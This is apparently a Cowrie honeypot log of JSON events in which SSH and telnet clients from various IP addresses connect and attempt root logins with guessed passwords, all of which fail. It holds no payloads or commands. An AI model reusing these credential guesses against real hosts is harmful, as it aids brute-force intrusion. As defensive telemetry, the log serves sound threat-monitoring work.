{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:32.982150Z","src_ip":"189.190.244.176","session":"59ab9b1d23a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@1234","message":"login attempt [root/Test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:33.309145Z","src_ip":"189.190.244.176","session":"59ab9b1d23a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:34.385209Z","src_ip":"189.190.244.176","session":"59ab9b1d23a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.0713791847229,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:36.775980Z","src_ip":"156.229.21.54","session":"9603b025d65e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"670fecd975a3","protocol":"telnet","message":"New connection: 156.229.21.54:40204 (10.17.0.5:23) [session: 670fecd975a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:36.842972Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":60144,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ae41c90776","protocol":"ssh","message":"New connection: 52.169.217.131:60144 (159.203.135.109:22) [session: c0ae41c90776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:50.524315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:50.528030Z","src_ip":"52.169.217.131","session":"c0ae41c90776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:50.594319Z","src_ip":"52.169.217.131","session":"c0ae41c90776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!@#","message":"login attempt [root/Abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:50.895310Z","src_ip":"52.169.217.131","session":"c0ae41c90776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:51.964129Z","src_ip":"52.169.217.131","session":"c0ae41c90776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.070905447006226,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:54.913780Z","src_ip":"156.229.21.54","session":"670fecd975a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":54560,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6d00ddb118c","protocol":"ssh","message":"New connection: 162.241.33.238:54560 (159.203.135.109:22) [session: f6d00ddb118c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:05.362769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:05.366174Z","src_ip":"162.241.33.238","session":"f6d00ddb118c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:05.394490Z","src_ip":"162.241.33.238","session":"f6d00ddb118c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G@t3!0#Tr0ng@P@ss","message":"login attempt [root/G@t3!0#Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:05.491155Z","src_ip":"162.241.33.238","session":"f6d00ddb118c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:06.521314Z","src_ip":"162.241.33.238","session":"f6d00ddb118c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba41db510bc","protocol":"telnet","message":"New connection: 72.167.226.244:47920 (10.17.0.5:23) [session: 3ba41db510bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:17.463118Z"}
{"eventid":"cowrie.session.closed","duration":30.706934690475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:44:48.169957Z","src_ip":"72.167.226.244","session":"3ba41db510bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":39638,"dst_ip":"10.17.0.5","dst_port":22,"session":"281117a28df4","protocol":"ssh","message":"New connection: 189.190.244.176:39638 (10.17.0.5:22) [session: 281117a28df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:04.834142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:04.838783Z","src_ip":"189.190.244.176","session":"281117a28df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:04.913538Z","src_ip":"189.190.244.176","session":"281117a28df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456.","message":"login attempt [root/qq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:05.245770Z","src_ip":"189.190.244.176","session":"281117a28df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:06.323419Z","src_ip":"189.190.244.176","session":"281117a28df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":58608,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff1227e25557","protocol":"ssh","message":"New connection: 52.169.217.131:58608 (159.203.135.109:22) [session: ff1227e25557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:24.542492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:24.549319Z","src_ip":"52.169.217.131","session":"ff1227e25557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:24.619482Z","src_ip":"52.169.217.131","session":"ff1227e25557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovegod","message":"login attempt [root/lovegod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:24.880249Z","src_ip":"52.169.217.131","session":"ff1227e25557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:25.949819Z","src_ip":"52.169.217.131","session":"ff1227e25557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55120,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c9948f596b","protocol":"ssh","message":"New connection: 103.27.238.114:55120 (159.203.135.109:22) [session: d2c9948f596b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:45.259556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:45.263620Z","src_ip":"103.27.238.114","session":"d2c9948f596b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:45.529380Z","src_ip":"103.27.238.114","session":"d2c9948f596b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton85","message":"login attempt [root/anton85] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:46.328001Z","src_ip":"103.27.238.114","session":"d2c9948f596b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":59280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a178ee4c632","protocol":"ssh","message":"New connection: 162.240.20.137:59280 (159.203.135.109:22) [session: 4a178ee4c632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:46.945150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:46.958027Z","src_ip":"162.240.20.137","session":"4a178ee4c632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:47.046620Z","src_ip":"162.240.20.137","session":"4a178ee4c632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solflare2024","message":"login attempt [root/solflare2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:47.312734Z","src_ip":"162.240.20.137","session":"4a178ee4c632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:47.595181Z","src_ip":"103.27.238.114","session":"d2c9948f596b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:45:48.403863Z","src_ip":"162.240.20.137","session":"4a178ee4c632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":51344,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f1a1e42eb5","protocol":"ssh","message":"New connection: 45.61.187.220:51344 (159.203.135.109:22) [session: d2f1a1e42eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:12.461379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:12.465626Z","src_ip":"45.61.187.220","session":"d2f1a1e42eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:12.500754Z","src_ip":"45.61.187.220","session":"d2f1a1e42eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12#$%^","message":"login attempt [root/Huawei12#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:12.666513Z","src_ip":"45.61.187.220","session":"d2f1a1e42eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:13.701904Z","src_ip":"45.61.187.220","session":"d2f1a1e42eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":47156,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6270ab14c4f","protocol":"ssh","message":"New connection: 189.190.244.176:47156 (10.17.0.5:22) [session: d6270ab14c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:39.031858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:39.035393Z","src_ip":"189.190.244.176","session":"d6270ab14c4f","protocol":"ssh"}
